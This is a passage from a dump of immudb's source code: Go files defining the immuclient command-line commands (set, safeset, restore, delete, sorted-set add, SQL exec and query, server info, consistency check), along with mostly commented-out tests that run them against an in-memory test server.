\"set\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestIScan(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.iScan(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"iscan\", \"0\", \"1\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestScan(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.scan(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"scan\", \"k\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestCount(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.count(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\n\tcmd.SetArgs([]string{\"count\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"1\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/command/server_info.go",
    "content": "package immuclient\n\nimport \"github.com/spf13/cobra\"\n\nfunc (cl *commandline) serverInfo(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"info\",\n\t\tShort:             \"Return server information\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.ServerInfo(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/server_info_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestServerInfo(t *testing.T) {\n\tic := setupTest(t)\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.serverInfo(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"info\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\trequire.NoError(t, err)\n\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\n\trsp := string(msg)\n\trequire.Contains(t, rsp, \"version:\")\n}\n"
  },
  {
    "path": "cmd/immuclient/command/setcommands.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) set(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"set key value\",\n\t\tShort:             \"Add new item having the specified key and value\",\n\t\tAliases:           []string{\"s\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Set(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(2),\n\t}\n\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) safeset(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"safeset key value\",\n\t\tShort:             \"Add and verify new item having the specified key and value\",\n\t\tAliases:           []string{\"ss\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.VerifiedSet(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(2),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) restore(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"restore key@revision\",\n\t\tShort:             \"Restore value for the key to given revision number\",\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.Restore(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) deleteKey(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"delete key value\",\n\t\tShort:             \"Delete existent entry having the specified key (logical deletion)\",\n\t\tAliases:           []string{\"del\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.DeleteKey(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) zAdd(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"zadd setname score key\",\n\t\tShort:             \"Add new key with score to a new or existing sorted set\",\n\t\tAliases:           []string{\"za\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.ZAdd(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(3),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) safeZAdd(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"safezadd setname score key\",\n\t\tShort:             \"Add and verify new key with score to a new or existing sorted set\",\n\t\tAliases:           []string{\"sza\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.VerifiedZAdd(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(3),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/setcommands_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestRawSafeSet(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.rawSafeSet(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"rawsafeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestSet(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.set(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"set\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestSafeset(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"hash\")\n}\n\nfunc TestZAdd(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.zAdd(cmd)\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\tinnercmd.PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"zadd\", \"name\", \"1\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[2]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"score\")\n}\n\nfunc TestSafeZAdd(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.safeZAdd(cmd)\n\tcmdl.safeset(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\n\tcmd.SetArgs([]string{\"safeset\", \"key\", \"value\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\t// since we issue two commands we need to remove PersistentPostRun ( disconnect )\n\tinnercmd.PersistentPostRun = nil\n\n\terr := cmd.Execute()\n\n\trequire.NoError(t, err)\n\n\tcmd.SetArgs([]string{\"safezadd\", \"name\", \"1\", \"key\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd = cmd.Commands()[2]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"score\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/command/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) sqlExec(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"exec\",\n\t\tShort:             \"Executes sql statement\",\n\t\tAliases:           []string{\"x\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.SQLExec(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) sqlQuery(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"query\",\n\t\tShort:             \"Query sql statement\",\n\t\tAliases:           []string{\"q\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.SQLQuery(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) listTables(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"tables\",\n\t\tShort:             \"List tables\",\n\t\tAliases:           []string{\"tables\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.ListTables()\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\t\t},\n\t\tArgs: cobra.ExactArgs(0),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n\nfunc (cl *commandline) describeTable(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"describe\",\n\t\tShort:             \"Describe table\",\n\t\tAliases:           []string{\"table\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tresp, err := cl.immucl.DescribeTable(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil\n\n\t\t},\n\t\tArgs: cobra.ExactArgs(1),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/tamperproofing.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\nimport (\n\t\"errors\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc (cl *commandline) consistency(cmd *cobra.Command) {\n\tccmd := &cobra.Command{\n\t\tUse:               \"check-consistency index hash\",\n\t\tShort:             \"Check consistency for the specified index and hash\",\n\t\tAliases:           []string{\"c\"},\n\t\tPersistentPreRunE: cl.ConfigChain(cl.connect),\n\t\tPersistentPostRun: cl.disconnect,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn errors.New(\"not supported\")\n\t\t\t/*resp, err := cl.immucl.Consistency(args)\n\t\t\tif err != nil {\n\t\t\t\tcl.quit(err)\n\t\t\t}\n\t\t\tfprintln(cmd.OutOrStdout(), resp)\n\t\t\treturn nil*/\n\t\t},\n\t\tArgs: cobra.MinimumNArgs(2),\n\t}\n\tcmd.AddCommand(ccmd)\n}\n"
  },
  {
    "path": "cmd/immuclient/command/tamperproofing_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immuclient\n\n/*\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\n\ttest \"github.com/codenotary/immudb/cmd/immuclient/immuclienttest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/server/servertest\"\n)\n\nfunc TestConsistency(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.consistency(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tsetmsg, err := cmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\trequire.NoError(t, err)\n\thash := strings.Split(setmsg, \"hash:\t\t\")[1]\n\thash = hash[:64]\n\n\tcmd.SetArgs([]string{\"check-consistency\", \"0\", hash})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"firstRoot\")\n}\nfunc TestInclusion(t *testing.T) {\n\tdefer os.Remove(\".root-\")\n\toptions := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword)\n\tbs := servertest.NewBufconnServer(options)\n\tbs.Start()\ndefer bs.Stop()\n\n\tts := tokenservice.NewTokenService().WithTokenFileName(\"testTokenFile\").WithHds(&test.HomedirServiceMock{})\n\tic := test.NewClientTest(&test.PasswordReader{\n\t\tPass: []string{\"immudb\"},\n\t}, ts)\nic.\nConnect(bs.Dialer)\n\tic.Login(\"immudb\")\n\n\tcmdl := commandline{\n\t\tconfig: helper.Config{Name: \"immuclient\"},\n\t\timmucl: ic.Imc,\n\t}\n\tcmd, _ := cmdl.NewCmd()\n\tcmdl.inclusion(cmd)\n\tb := bytes.NewBufferString(\"\")\n\tcmd.SetOut(b)\n\tsetmsg, err := cmdl.immucl.SafeSet([]string{\"key\", \"value\"})\n\trequire.NoError(t, err)\n\thash := strings.Split(setmsg, \"hash:\t\t\")[1]\n\thash = hash[:64]\n\n\tcmd.SetArgs([]string{\"inclusion\", \"0\"})\n\n\t// remove ConfigChain method to avoid options override\n\tcmd.PersistentPreRunE = nil\n\tinnercmd := cmd.Commands()[0]\n\tinnercmd.PersistentPreRunE = nil\n\n\terr = cmd.Execute()\n\trequire.NoError(t, err)\n\tmsg, err := ioutil.ReadAll(b)\n\trequire.NoError(t, err)\n\trequire.Contains(t, string(msg), \"verified: true\")\n}\n*/\n"
  },
  {
    "path": "cmd/immuclient/fips/fips.go",
    "content": "//go:build fips\n// +build fips\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t_ \"crypto/tls/fipsonly\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\timmuclient \"github.com/codenotary/immudb/cmd/immuclient/command\"\n)\n\nfunc main() {\n\tcmd := immuclient.NewCommand()\n\terr := immuclient.Execute(cmd)\n\tif err != nil 